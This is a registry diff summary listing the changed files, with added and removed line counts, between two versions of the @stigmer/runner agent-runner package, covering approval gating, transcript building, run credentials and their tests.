@stigmer/runner 3.15.3-dev.20260914121148 → 3.16.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +2 -1
- package/dist/.build-fingerprint +1 -1
- package/dist/__test-utils__/approval-contract/types.d.ts +1 -1
- package/dist/__test-utils__/hermetic-activity.d.ts +61 -7
- package/dist/__test-utils__/hermetic-activity.js +100 -9
- package/dist/__test-utils__/hermetic-activity.js.map +1 -1
- package/dist/__test-utils__/model-registry-fixture.d.ts +22 -3
- package/dist/__test-utils__/model-registry-fixture.js +22 -7
- package/dist/__test-utils__/model-registry-fixture.js.map +1 -1
- package/dist/activities/execute-cursor/__test-utils__/contract-subject.d.ts +2 -2
- package/dist/activities/execute-cursor/__test-utils__/contract-subject.js +2 -2
- package/dist/activities/execute-cursor/__test-utils__/fold.d.ts +61 -0
- package/dist/activities/execute-cursor/__test-utils__/fold.js +94 -0
- package/dist/activities/execute-cursor/__test-utils__/fold.js.map +1 -0
- package/dist/activities/execute-cursor/__test-utils__/gateway-substrate.js +1 -1
- package/dist/activities/execute-cursor/__test-utils__/gateway-substrate.js.map +1 -1
- package/dist/activities/execute-cursor/__test-utils__/hermetic-cursor.d.ts +47 -12
- package/dist/activities/execute-cursor/__test-utils__/hermetic-cursor.js +41 -10
- package/dist/activities/execute-cursor/__test-utils__/hermetic-cursor.js.map +1 -1
- package/dist/activities/execute-cursor/__test-utils__/scripted-agent.d.ts +15 -6
- package/dist/activities/execute-cursor/__test-utils__/scripted-agent.js +17 -4
- package/dist/activities/execute-cursor/__test-utils__/scripted-agent.js.map +1 -1
- package/dist/activities/execute-cursor/adapter.d.ts +4 -4
- package/dist/activities/execute-cursor/adapter.js +4 -4
- package/dist/activities/execute-cursor/approval-policy.d.ts +10 -10
- package/dist/activities/execute-cursor/approval-policy.js +12 -23
- package/dist/activities/execute-cursor/approval-policy.js.map +1 -1
- package/dist/activities/execute-cursor/approval-state.d.ts +35 -1
- package/dist/activities/execute-cursor/approval-state.js +65 -0
- package/dist/activities/execute-cursor/approval-state.js.map +1 -1
- package/dist/activities/execute-cursor/{message-translator.d.ts → boundary-rows.d.ts} +45 -341
- package/dist/activities/execute-cursor/boundary-rows.js +1018 -0
- package/dist/activities/execute-cursor/boundary-rows.js.map +1 -0
- package/dist/activities/execute-cursor/cursor-capabilities.d.ts +1 -1
- package/dist/activities/execute-cursor/cursor-capabilities.js +1 -1
- package/dist/activities/execute-cursor/cursor-event-recorder.d.ts +33 -14
- package/dist/activities/execute-cursor/cursor-event-recorder.js +43 -21
- package/dist/activities/execute-cursor/cursor-event-recorder.js.map +1 -1
- package/dist/activities/execute-cursor/prompt-builder.d.ts +3 -3
- package/dist/activities/execute-cursor/prompt-builder.js +4 -4
- package/dist/activities/execute-cursor/prompt-builder.js.map +1 -1
- package/dist/activities/execute-cursor/service-tier.js +1 -2
- package/dist/activities/execute-cursor/service-tier.js.map +1 -1
- package/dist/activities/execute-cursor/sub-agent-steps.d.ts +79 -0
- package/dist/activities/execute-cursor/sub-agent-steps.js +180 -0
- package/dist/activities/execute-cursor/sub-agent-steps.js.map +1 -0
- package/dist/activities/execute-cursor/tool-result.d.ts +49 -0
- package/dist/activities/execute-cursor/tool-result.js +130 -0
- package/dist/activities/execute-cursor/tool-result.js.map +1 -0
- package/dist/activities/execute-cursor/translator.d.ts +178 -0
- package/dist/activities/execute-cursor/translator.js +485 -0
- package/dist/activities/execute-cursor/translator.js.map +1 -0
- package/dist/activities/execute-cursor/turn-boundary.d.ts +15 -5
- package/dist/activities/execute-cursor/turn-boundary.js +10 -14
- package/dist/activities/execute-cursor/turn-boundary.js.map +1 -1
- package/dist/activities/execute-cursor/turn-settle.d.ts +11 -7
- package/dist/activities/execute-cursor/turn-settle.js +47 -34
- package/dist/activities/execute-cursor/turn-settle.js.map +1 -1
- package/dist/activities/execute-cursor/turn-setup.d.ts +2 -2
- package/dist/activities/execute-cursor/turn-setup.js +5 -5
- package/dist/activities/execute-cursor/turn-setup.js.map +1 -1
- package/dist/activities/execute-cursor/turn-stream.d.ts +23 -14
- package/dist/activities/execute-cursor/turn-stream.js +41 -28
- package/dist/activities/execute-cursor/turn-stream.js.map +1 -1
- package/dist/activities/execute-cursor/turn.d.ts +4 -4
- package/dist/activities/execute-cursor/turn.js +5 -5
- package/dist/activities/execute-cursor/usage-pricing.d.ts +2 -2
- package/dist/activities/execute-cursor/usage-pricing.js +2 -2
- package/dist/activities/execute-deep-agent/__test-utils__/contract-subject.d.ts +2 -2
- package/dist/activities/execute-deep-agent/__test-utils__/contract-subject.js +2 -2
- package/dist/activities/execute-deep-agent/__test-utils__/hermetic-deep-agent.d.ts +16 -11
- package/dist/activities/execute-deep-agent/__test-utils__/hermetic-deep-agent.js +22 -10
- package/dist/activities/execute-deep-agent/__test-utils__/hermetic-deep-agent.js.map +1 -1
- package/dist/activities/execute-deep-agent/__test-utils__/hitl-script.js +1 -1
- package/dist/activities/execute-deep-agent/__test-utils__/hitl-script.js.map +1 -1
- package/dist/activities/execute-deep-agent/__test-utils__/scripted-model-module.d.ts +2 -3
- package/dist/activities/execute-deep-agent/__test-utils__/scripted-model-module.js +2 -3
- package/dist/activities/execute-deep-agent/__test-utils__/scripted-model-module.js.map +1 -1
- package/dist/activities/execute-deep-agent/__test-utils__/scripted-model.d.ts +12 -3
- package/dist/activities/execute-deep-agent/__test-utils__/scripted-model.js +18 -4
- package/dist/activities/execute-deep-agent/__test-utils__/scripted-model.js.map +1 -1
- package/dist/activities/execute-deep-agent/__test-utils__/v3-event-fixtures.d.ts +10 -1
- package/dist/activities/execute-deep-agent/__test-utils__/v3-event-fixtures.js +24 -11
- package/dist/activities/execute-deep-agent/__test-utils__/v3-event-fixtures.js.map +1 -1
- package/dist/activities/execute-deep-agent/adapter.d.ts +1 -1
- package/dist/activities/execute-deep-agent/adapter.js +1 -1
- package/dist/activities/execute-deep-agent/approval-file-change.d.ts +19 -19
- package/dist/activities/execute-deep-agent/approval-file-change.js +16 -15
- package/dist/activities/execute-deep-agent/approval-file-change.js.map +1 -1
- package/dist/activities/execute-deep-agent/deep-agent-capabilities.d.ts +2 -2
- package/dist/activities/execute-deep-agent/deep-agent-capabilities.js +2 -2
- package/dist/activities/execute-deep-agent/hitl.d.ts +2 -2
- package/dist/activities/execute-deep-agent/hitl.js +2 -2
- package/dist/activities/execute-deep-agent/inline-publisher.d.ts +13 -3
- package/dist/activities/execute-deep-agent/inline-publisher.js +3 -3
- package/dist/activities/execute-deep-agent/inline-publisher.js.map +1 -1
- package/dist/activities/execute-deep-agent/prompt-builder.d.ts +3 -3
- package/dist/activities/execute-deep-agent/prompt-builder.js +6 -7
- package/dist/activities/execute-deep-agent/prompt-builder.js.map +1 -1
- package/dist/activities/execute-deep-agent/streaming-side-effects.d.ts +16 -8
- package/dist/activities/execute-deep-agent/streaming-side-effects.js +20 -33
- package/dist/activities/execute-deep-agent/streaming-side-effects.js.map +1 -1
- package/dist/activities/execute-deep-agent/subagent-transformer.d.ts +3 -3
- package/dist/activities/execute-deep-agent/subagent-transformer.js +1 -1
- package/dist/activities/execute-deep-agent/translator.d.ts +134 -0
- package/dist/activities/execute-deep-agent/translator.js +418 -0
- package/dist/activities/execute-deep-agent/translator.js.map +1 -0
- package/dist/activities/execute-deep-agent/turn-settle.d.ts +13 -7
- package/dist/activities/execute-deep-agent/turn-settle.js +34 -45
- package/dist/activities/execute-deep-agent/turn-settle.js.map +1 -1
- package/dist/activities/execute-deep-agent/turn-setup.d.ts +8 -8
- package/dist/activities/execute-deep-agent/turn-setup.js +7 -7
- package/dist/activities/execute-deep-agent/turn-stream.d.ts +13 -10
- package/dist/activities/execute-deep-agent/turn-stream.js +44 -41
- package/dist/activities/execute-deep-agent/turn-stream.js.map +1 -1
- package/dist/activities/execute-deep-agent/turn.d.ts +3 -3
- package/dist/activities/execute-deep-agent/turn.js +3 -3
- package/dist/activities/generate-session-subject.d.ts +25 -4
- package/dist/activities/generate-session-subject.js +17 -7
- package/dist/activities/generate-session-subject.js.map +1 -1
- package/dist/client/stigmer-client.d.ts +17 -6
- package/dist/client/stigmer-client.js +47 -14
- package/dist/client/stigmer-client.js.map +1 -1
- package/dist/config.d.ts +6 -3
- package/dist/config.js +4 -1
- package/dist/config.js.map +1 -1
- package/dist/harness/approval-decisions.d.ts +1 -1
- package/dist/harness/approval-decisions.js +1 -1
- package/dist/harness/capabilities.d.ts +21 -11
- package/dist/harness/capabilities.js +2 -2
- package/dist/harness/capture.d.ts +4 -4
- package/dist/harness/capture.js +4 -4
- package/dist/harness/persist-chokepoint.d.ts +3 -3
- package/dist/harness/persist-chokepoint.js +3 -3
- package/dist/harness/registry.d.ts +2 -2
- package/dist/harness/registry.js +2 -2
- package/dist/harness/run-turn.d.ts +6 -4
- package/dist/harness/run-turn.js +31 -9
- package/dist/harness/run-turn.js.map +1 -1
- package/dist/harness/stop-controller.d.ts +1 -1
- package/dist/harness/stop-controller.js +1 -1
- package/dist/harness/terminal-table.d.ts +7 -7
- package/dist/harness/terminal-table.js +7 -7
- package/dist/harness/transcript/builder.d.ts +182 -0
- package/dist/harness/transcript/builder.js +693 -0
- package/dist/harness/transcript/builder.js.map +1 -0
- package/dist/harness/transcript/events.d.ts +218 -0
- package/dist/harness/transcript/events.js +50 -0
- package/dist/harness/transcript/events.js.map +1 -0
- package/dist/harness/transcript/state.d.ts +110 -0
- package/dist/harness/transcript/state.js +148 -0
- package/dist/harness/transcript/state.js.map +1 -0
- package/dist/harness/turn-context.d.ts +54 -38
- package/dist/harness/turn-context.js +42 -43
- package/dist/harness/turn-context.js.map +1 -1
- package/dist/harness/types.d.ts +63 -22
- package/dist/harness/types.js +12 -11
- package/dist/harness/types.js.map +1 -1
- package/dist/harness/usage-accumulator.d.ts +2 -2
- package/dist/harness/usage-accumulator.js +2 -2
- package/dist/harness-adapters.d.ts +5 -4
- package/dist/harness-adapters.js +5 -4
- package/dist/harness-adapters.js.map +1 -1
- package/dist/interceptors/run-credential-activity.d.ts +28 -0
- package/dist/interceptors/run-credential-activity.js +56 -0
- package/dist/interceptors/run-credential-activity.js.map +1 -0
- package/dist/middleware/approval-gate.d.ts +6 -0
- package/dist/middleware/approval-gate.js +7 -57
- package/dist/middleware/approval-gate.js.map +1 -1
- package/dist/middleware/cost-advisory.d.ts +3 -3
- package/dist/middleware/cost-advisory.js +3 -3
- package/dist/middleware/index.d.ts +1 -1
- package/dist/middleware/index.js +1 -1
- package/dist/runner-manager.js +10 -4
- package/dist/runner-manager.js.map +1 -1
- package/dist/shared/activity-input.d.ts +9 -0
- package/dist/shared/activity-input.js +17 -0
- package/dist/shared/activity-input.js.map +1 -1
- package/dist/shared/approval-policy.d.ts +53 -0
- package/dist/shared/approval-policy.js +76 -0
- package/dist/shared/approval-policy.js.map +1 -1
- package/dist/shared/args-preview.d.ts +45 -22
- package/dist/shared/args-preview.js +51 -41
- package/dist/shared/args-preview.js.map +1 -1
- package/dist/shared/attachment-resolver.d.ts +4 -4
- package/dist/shared/attachment-resolver.js +4 -4
- package/dist/shared/attachment-zip.d.ts +2 -2
- package/dist/shared/attachment-zip.js +2 -2
- package/dist/shared/channel-attachment.d.ts +8 -5
- package/dist/shared/channel-attachment.js +10 -6
- package/dist/shared/channel-attachment.js.map +1 -1
- package/dist/shared/cost-guard.d.ts +2 -2
- package/dist/shared/cost-guard.js +2 -2
- package/dist/shared/exact-apply.d.ts +1 -1
- package/dist/shared/exact-apply.js +1 -1
- package/dist/shared/execution-context.d.ts +2 -2
- package/dist/shared/execution-context.js +2 -2
- package/dist/shared/extract-structured-output.d.ts +2 -2
- package/dist/shared/extract-structured-output.js +2 -2
- package/dist/shared/filereview/cas-touched.d.ts +2 -2
- package/dist/shared/filereview/cas-touched.js +2 -2
- package/dist/shared/filereview/progress.d.ts +13 -0
- package/dist/shared/filereview/progress.js +13 -0
- package/dist/shared/filereview/progress.js.map +1 -1
- package/dist/shared/heartbeat.d.ts +1 -1
- package/dist/shared/heartbeat.js +1 -1
- package/dist/shared/llm-backend.d.ts +0 -4
- package/dist/shared/llm-backend.js +0 -4
- package/dist/shared/llm-backend.js.map +1 -1
- package/dist/shared/memory-attachment.d.ts +16 -9
- package/dist/shared/memory-attachment.js +18 -10
- package/dist/shared/memory-attachment.js.map +1 -1
- package/dist/shared/model-error.d.ts +1 -2
- package/dist/shared/model-error.js +1 -2
- package/dist/shared/model-error.js.map +1 -1
- package/dist/shared/persist-decision.d.ts +18 -24
- package/dist/shared/persist-decision.js +19 -11
- package/dist/shared/persist-decision.js.map +1 -1
- package/dist/shared/prompt-sections.d.ts +4 -4
- package/dist/shared/prompt-sections.js +4 -4
- package/dist/shared/run-credential-store.d.ts +32 -0
- package/dist/shared/run-credential-store.js +39 -0
- package/dist/shared/run-credential-store.js.map +1 -0
- package/dist/shared/run-credential.d.ts +61 -0
- package/dist/shared/run-credential.js +68 -0
- package/dist/shared/run-credential.js.map +1 -0
- package/dist/shared/skill-resolver.d.ts +3 -3
- package/dist/shared/skill-resolver.js +3 -3
- package/dist/shared/status-offload.d.ts +1 -1
- package/dist/shared/status-offload.js +2 -2
- package/dist/shared/status-offload.js.map +1 -1
- package/dist/shared/streaming-scheduler.d.ts +2 -7
- package/dist/shared/streaming-scheduler.js +6 -14
- package/dist/shared/streaming-scheduler.js.map +1 -1
- package/dist/shared/subagent-rows.d.ts +2 -2
- package/dist/shared/subagent-rows.js +2 -2
- package/dist/shared/synthesized-attachment.d.ts +30 -3
- package/dist/shared/synthesized-attachment.js +26 -0
- package/dist/shared/synthesized-attachment.js.map +1 -1
- package/dist/shared/todos.d.ts +3 -3
- package/dist/shared/todos.js +3 -3
- package/dist/shared/tool-row.d.ts +19 -1
- package/dist/shared/tool-row.js +36 -2
- package/dist/shared/tool-row.js.map +1 -1
- package/dist/shared/worker-shutdown.d.ts +1 -1
- package/dist/shared/worker-shutdown.js +1 -1
- package/dist/shared/workspace/session-provision.d.ts +1 -1
- package/dist/shared/workspace/session-provision.js +1 -1
- package/dist/shared/workspace/sources/empty.d.ts +1 -1
- package/dist/shared/workspace/sources/empty.js +1 -2
- package/dist/shared/workspace/sources/empty.js.map +1 -1
- package/dist/shared/workspace/sources/git.js +4 -4
- package/dist/shared/workspace/sources/git.js.map +1 -1
- package/dist/shared/workspace/sources/local-path.js +6 -6
- package/dist/shared/workspace/sources/local-path.js.map +1 -1
- package/dist/shared/workspace/stigmer-link.d.ts +1 -1
- package/dist/shared/workspace/stigmer-link.js +1 -1
- package/dist/shared/workspace/types.d.ts +2 -5
- package/dist/shared/workspace/types.js +0 -6
- package/dist/shared/workspace/types.js.map +1 -1
- package/dist/shared/workspace/writeback-coordinator.d.ts +17 -4
- package/dist/shared/workspace/writeback-coordinator.js +7 -9
- package/dist/shared/workspace/writeback-coordinator.js.map +1 -1
- package/dist/worker.js +10 -3
- package/dist/worker.js.map +1 -1
- package/dist/workflow-source.d.ts +10 -0
- package/dist/workflow-source.js +12 -0
- package/dist/workflow-source.js.map +1 -1
- package/dist/workflows/execute-from-execution.d.ts +15 -0
- package/dist/workflows/execute-from-execution.js +11 -0
- package/dist/workflows/execute-from-execution.js.map +1 -1
- package/dist/workflows/index.d.ts +5 -3
- package/dist/workflows/index.js +5 -3
- package/dist/workflows/index.js.map +1 -1
- package/dist/workflows/interceptors/run-credential.d.ts +34 -0
- package/dist/workflows/interceptors/run-credential.js +71 -0
- package/dist/workflows/interceptors/run-credential.js.map +1 -0
- package/package.json +4 -4
- package/src/__test-utils__/__tests__/execution-record-barrier.test.ts +70 -0
- package/src/__test-utils__/__tests__/harness-contract-self-check.test.ts +35 -1
- package/src/__test-utils__/approval-contract/contract.ts +1 -1
- package/src/__test-utils__/approval-contract/types.ts +1 -1
- package/src/__test-utils__/harness-boot-order-child.ts +1 -1
- package/src/__test-utils__/harness-contract/contract.ts +8 -8
- package/src/__test-utils__/harness-contract/recording-sink.ts +11 -1
- package/src/__test-utils__/harness-contract/runtime-contract.ts +52 -16
- package/src/__test-utils__/harness-contract/scripted-adapter.ts +47 -43
- package/src/__test-utils__/hermetic-activity.ts +113 -9
- package/src/__test-utils__/model-registry-fixture.ts +31 -7
- package/src/__test-utils__/module-specifiers.ts +32 -3
- package/src/__tests__/harness-boot-order.test.ts +1 -1
- package/src/__tests__/harness-contract.test.ts +1 -1
- package/src/__tests__/run-credential-e2e.test.ts +233 -0
- package/src/__tests__/run-credential-registration.test.ts +80 -0
- package/src/__tests__/runner-manager.test.ts +1 -1
- package/src/activities/__tests__/generate-session-subject-wire.test.ts +119 -0
- package/src/activities/execute-cursor/__test-utils__/__tests__/scripted-double.test.ts +1 -1
- package/src/activities/execute-cursor/__test-utils__/contract-subject.ts +2 -2
- package/src/activities/execute-cursor/__test-utils__/fold.ts +116 -0
- package/src/activities/execute-cursor/__test-utils__/gateway-substrate.ts +1 -1
- package/src/activities/execute-cursor/__test-utils__/hermetic-cursor.ts +67 -17
- package/src/activities/execute-cursor/__test-utils__/scripted-agent.ts +19 -5
- package/src/activities/execute-cursor/__tests__/approval-gate.test.ts +2 -1
- package/src/activities/execute-cursor/__tests__/approval-state.test.ts +14 -21
- package/src/activities/execute-cursor/__tests__/build-prompt.test.ts +3 -3
- package/src/activities/execute-cursor/__tests__/coarse-fingerprint.test.ts +2 -1
- package/src/activities/execute-cursor/__tests__/cursor-event-recorder.test.ts +142 -0
- package/src/activities/execute-cursor/__tests__/cursor-fetch-interceptor-bypass.test.ts +19 -8
- package/src/activities/execute-cursor/__tests__/cursor-sdk-auth-smoke.test.ts +10 -8
- package/src/activities/execute-cursor/__tests__/cursor-transcript-live.test.ts +298 -0
- package/src/activities/execute-cursor/__tests__/deny-gate-exact-apply.test.ts +4 -2
- package/src/activities/execute-cursor/__tests__/fetch-interceptor.test.ts +1 -1
- package/src/activities/execute-cursor/__tests__/hermetic/deny-and-retry.test.ts +1 -1
- package/src/activities/execute-cursor/__tests__/hermetic/file-review-capture.test.ts +1 -1
- package/src/activities/execute-cursor/__tests__/hermetic/goldens/mcp-tool-call.status.json +71 -0
- package/src/activities/execute-cursor/__tests__/hermetic/goldens/sdk-task-note.status.json +73 -0
- package/src/activities/execute-cursor/__tests__/hermetic/goldens/shell-output-delta.error-delta.status.json +78 -0
- package/src/activities/execute-cursor/__tests__/hermetic/goldens/shell-output-delta.output-first.status.json +72 -0
- package/src/activities/execute-cursor/__tests__/hermetic/goldens/shell-output-delta.status.json +72 -0
- package/src/activities/execute-cursor/__tests__/hermetic/goldens/sub-agent-delegation.status.json +109 -0
- package/src/activities/execute-cursor/__tests__/hermetic/goldens/thinking-turn.status.json +78 -0
- package/src/activities/execute-cursor/__tests__/hermetic/goldens/todo-write.status.json +119 -0
- package/src/activities/execute-cursor/__tests__/hermetic/goldens/tool-error.status.json +68 -0
- package/src/activities/execute-cursor/__tests__/hermetic/goldens/tool-only-step.status.json +67 -0
- package/src/activities/execute-cursor/__tests__/hermetic/goldens/unattributed-hook-block.status.json +1 -1
- package/src/activities/execute-cursor/__tests__/hermetic/harness-contract.test.ts +7 -7
- package/src/activities/execute-cursor/__tests__/hermetic/mcp-tool-call.test.ts +146 -0
- package/src/activities/execute-cursor/__tests__/hermetic/pause-vs-shutdown.test.ts +5 -5
- package/src/activities/execute-cursor/__tests__/hermetic/plain-turn.test.ts +2 -1
- package/src/activities/execute-cursor/__tests__/hermetic/run-wait-arms.test.ts +2 -1
- package/src/activities/execute-cursor/__tests__/hermetic/sdk-task-note.test.ts +122 -0
- package/src/activities/execute-cursor/__tests__/hermetic/shell-output-delta.test.ts +276 -0
- package/src/activities/execute-cursor/__tests__/hermetic/stream-self-stop-arms.test.ts +8 -8
- package/src/activities/execute-cursor/__tests__/hermetic/sub-agent-delegation.test.ts +196 -0
- package/src/activities/execute-cursor/__tests__/hermetic/thinking-turn.test.ts +145 -0
- package/src/activities/execute-cursor/__tests__/hermetic/thrown-error-arms.test.ts +1 -1
- package/src/activities/execute-cursor/__tests__/hermetic/todo-write.test.ts +165 -0
- package/src/activities/execute-cursor/__tests__/hermetic/tool-call.test.ts +3 -3
- package/src/activities/execute-cursor/__tests__/hermetic/tool-error.test.ts +138 -0
- package/src/activities/execute-cursor/__tests__/hermetic/tool-only-step.test.ts +130 -0
- package/src/activities/execute-cursor/__tests__/hermetic/unattributed-hook-block.test.ts +13 -1
- package/src/activities/execute-cursor/__tests__/hermetic/workspace-lock-timeout.test.ts +2 -2
- package/src/activities/execute-cursor/__tests__/hitl-ledger.test.ts +43 -60
- package/src/activities/execute-cursor/__tests__/hitl-resume-history.test.ts +23 -28
- package/src/activities/execute-cursor/__tests__/hook-script.test.ts +2 -1
- package/src/activities/execute-cursor/__tests__/http2-interceptor.test.ts +1 -1
- package/src/activities/execute-cursor/__tests__/prompt-goldens.test.ts +5 -5
- package/src/activities/execute-cursor/__tests__/same-identity-reproposal.test.ts +11 -13
- package/src/activities/execute-cursor/__tests__/sequential-gate-resume.test.ts +8 -11
- package/src/activities/execute-cursor/__tests__/tool-result-image.test.ts +8 -22
- package/src/activities/execute-cursor/__tests__/translator.test.ts +594 -0
- package/src/activities/execute-cursor/__tests__/turn-boundary.test.ts +8 -5
- package/src/activities/execute-cursor/__tests__/turn-stream.test.ts +87 -63
- package/src/activities/execute-cursor/adapter.ts +4 -4
- package/src/activities/execute-cursor/approval-policy.ts +12 -24
- package/src/activities/execute-cursor/approval-state.ts +66 -1
- package/src/activities/execute-cursor/boundary-rows.ts +1132 -0
- package/src/activities/execute-cursor/cursor-capabilities.ts +1 -1
- package/src/activities/execute-cursor/cursor-event-recorder.ts +57 -28
- package/src/activities/execute-cursor/fetch-interceptor.ts +1 -1
- package/src/activities/execute-cursor/http2-interceptor.ts +1 -1
- package/src/activities/execute-cursor/prompt-builder.ts +6 -6
- package/src/activities/execute-cursor/service-tier.ts +1 -2
- package/src/activities/execute-cursor/sub-agent-steps.ts +188 -0
- package/src/activities/execute-cursor/tool-result.ts +128 -0
- package/src/activities/execute-cursor/translator.ts +541 -0
- package/src/activities/execute-cursor/turn-boundary.ts +21 -14
- package/src/activities/execute-cursor/turn-settle.ts +46 -34
- package/src/activities/execute-cursor/turn-setup.ts +5 -5
- package/src/activities/execute-cursor/turn-stream.ts +49 -46
- package/src/activities/execute-cursor/turn.ts +5 -5
- package/src/activities/execute-cursor/usage-pricing.ts +2 -2
- package/src/activities/execute-deep-agent/__test-utils__/contract-subject.ts +2 -2
- package/src/activities/execute-deep-agent/__test-utils__/hermetic-deep-agent.ts +23 -11
- package/src/activities/execute-deep-agent/__test-utils__/hitl-script.ts +1 -1
- package/src/activities/execute-deep-agent/__test-utils__/scripted-model-module.ts +2 -3
- package/src/activities/execute-deep-agent/__test-utils__/scripted-model.ts +25 -4
- package/src/activities/execute-deep-agent/__test-utils__/v3-event-fixtures.ts +25 -11
- package/src/activities/execute-deep-agent/__tests__/adapter-graph-is-sdk-free.test.ts +1 -1
- package/src/activities/execute-deep-agent/__tests__/adapter-is-temporal-free.test.ts +1 -1
- package/src/activities/execute-deep-agent/__tests__/approval-file-change.test.ts +6 -17
- package/src/activities/execute-deep-agent/__tests__/hermetic/file-review-capture.test.ts +25 -8
- package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/approve-all-lease.turn1.status.json +2 -7
- package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/approve-all-lease.turn2.status.json +4 -14
- package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/approve.turn2.status.json +1 -5
- package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/file-review-capture.status.json +4 -7
- package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/gate.turn1.status.json +1 -5
- package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/inline-artifact.turn1.status.json +2 -9
- package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/inline-artifact.turn2.status.json +2 -9
- package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/pause.loop.after-tool.status.json +1 -4
- package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/pause.loop.mid-tool.status.json +1 -4
- package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/platform-stop.status.json +1 -4
- package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/recursion-limit.persisted.status.json +109 -76
- package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/reject.turn2.status.json +1 -5
- package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/sequential-gates.turn2.status.json +2 -10
- package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/sequential-gates.turn3.status.json +2 -10
- package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/skip.turn2.status.json +1 -5
- package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/sub-agent-delegation.status.json +3 -6
- package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/tool-call.status.json +1 -4
- package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/worker-shutdown.status.json +1 -4
- package/src/activities/execute-deep-agent/__tests__/hermetic/goldens/write-todos.status.json +92 -0
- package/src/activities/execute-deep-agent/__tests__/hermetic/harness-contract.test.ts +3 -3
- package/src/activities/execute-deep-agent/__tests__/hermetic/hitl-approve-all-lease.test.ts +9 -5
- package/src/activities/execute-deep-agent/__tests__/hermetic/hitl-round-trips.test.ts +3 -3
- package/src/activities/execute-deep-agent/__tests__/hermetic/hitl-sequential-gates.test.ts +3 -3
- package/src/activities/execute-deep-agent/__tests__/hermetic/inline-artifact-across-gate.test.ts +7 -6
- package/src/activities/execute-deep-agent/__tests__/hermetic/pause-vs-shutdown.test.ts +10 -11
- package/src/activities/execute-deep-agent/__tests__/hermetic/plain-turn.test.ts +4 -4
- package/src/activities/execute-deep-agent/__tests__/hermetic/platform-stop.test.ts +9 -8
- package/src/activities/execute-deep-agent/__tests__/hermetic/recursion-limit.test.ts +21 -13
- package/src/activities/execute-deep-agent/__tests__/hermetic/resolution-error.test.ts +2 -2
- package/src/activities/execute-deep-agent/__tests__/hermetic/structured-output.test.ts +7 -7
- package/src/activities/execute-deep-agent/__tests__/hermetic/sub-agent-delegation.test.ts +28 -12
- package/src/activities/execute-deep-agent/__tests__/hermetic/tool-call.test.ts +21 -21
- package/src/activities/execute-deep-agent/__tests__/hermetic/workspace-lock-timeout.test.ts +5 -5
- package/src/activities/execute-deep-agent/__tests__/hermetic/write-todos.test.ts +160 -0
- package/src/activities/execute-deep-agent/__tests__/inline-publisher.test.ts +35 -30
- package/src/activities/execute-deep-agent/__tests__/prompt-builder.test.ts +3 -4
- package/src/activities/execute-deep-agent/__tests__/prompt-goldens.test.ts +12 -10
- package/src/activities/execute-deep-agent/__tests__/scripted-model.test.ts +13 -3
- package/src/activities/execute-deep-agent/__tests__/streaming-side-effects.test.ts +26 -18
- package/src/activities/execute-deep-agent/__tests__/subagent-wiring.test.ts +1 -1
- package/src/activities/execute-deep-agent/__tests__/{subagent-tracker.test.ts → translator-subagents.test.ts} +76 -57
- package/src/activities/execute-deep-agent/__tests__/{v3-status-builder.test.ts → translator-through-builder.test.ts} +213 -299
- package/src/activities/execute-deep-agent/__tests__/translator.test.ts +505 -0
- package/src/activities/execute-deep-agent/__tests__/turn-stream.test.ts +11 -29
- package/src/activities/execute-deep-agent/adapter.ts +1 -1
- package/src/activities/execute-deep-agent/approval-file-change.ts +20 -22
- package/src/activities/execute-deep-agent/deep-agent-capabilities.ts +2 -2
- package/src/activities/execute-deep-agent/hitl.ts +2 -2
- package/src/activities/execute-deep-agent/inline-publisher.ts +16 -5
- package/src/activities/execute-deep-agent/prompt-builder.ts +6 -7
- package/src/activities/execute-deep-agent/streaming-side-effects.ts +22 -31
- package/src/activities/execute-deep-agent/subagent-transformer.ts +3 -3
- package/src/activities/execute-deep-agent/translator.ts +463 -0
- package/src/activities/execute-deep-agent/turn-settle.ts +35 -43
- package/src/activities/execute-deep-agent/turn-setup.ts +8 -8
- package/src/activities/execute-deep-agent/turn-stream.ts +53 -51
- package/src/activities/execute-deep-agent/turn.ts +3 -3
- package/src/activities/generate-session-subject.ts +29 -4
- package/src/client/__tests__/stigmer-client.test.ts +92 -0
- package/src/client/stigmer-client.ts +48 -14
- package/src/config.ts +6 -3
- package/src/harness/README.md +335 -0
- package/src/harness/__tests__/approval-decisions.test.ts +2 -2
- package/src/harness/__tests__/capture.test.ts +3 -3
- package/src/harness/__tests__/import-direction.test.ts +3 -2
- package/src/harness/__tests__/mount-skills.test.ts +4 -1
- package/src/harness/__tests__/readme-index.test.ts +339 -0
- package/src/harness/__tests__/run-turn.test.ts +131 -6
- package/src/harness/__tests__/transcript-is-engine-free.test.ts +83 -0
- package/src/harness/__tests__/transcript-writers.test.ts +191 -0
- package/src/harness/__tests__/turn-attachments-vision.test.ts +5 -2
- package/src/harness/__tests__/turn-context.test.ts +5 -5
- package/src/harness/approval-decisions.ts +1 -1
- package/src/harness/capabilities.ts +21 -11
- package/src/harness/capture.ts +4 -4
- package/src/harness/persist-chokepoint.ts +3 -3
- package/src/harness/registry.ts +2 -2
- package/src/harness/run-turn.ts +33 -9
- package/src/harness/stop-controller.ts +1 -1
- package/src/harness/terminal-table.ts +7 -7
- package/src/harness/transcript/__tests__/builder.test.ts +975 -0
- package/src/harness/transcript/__tests__/state.test.ts +143 -0
- package/src/harness/transcript/builder.ts +755 -0
- package/src/harness/transcript/events.ts +262 -0
- package/src/harness/transcript/state.ts +167 -0
- package/src/harness/turn-context.ts +61 -46
- package/src/harness/types.ts +64 -22
- package/src/harness/usage-accumulator.ts +2 -2
- package/src/harness-adapters.ts +5 -4
- package/src/interceptors/__tests__/run-credential-activity.test.ts +133 -0
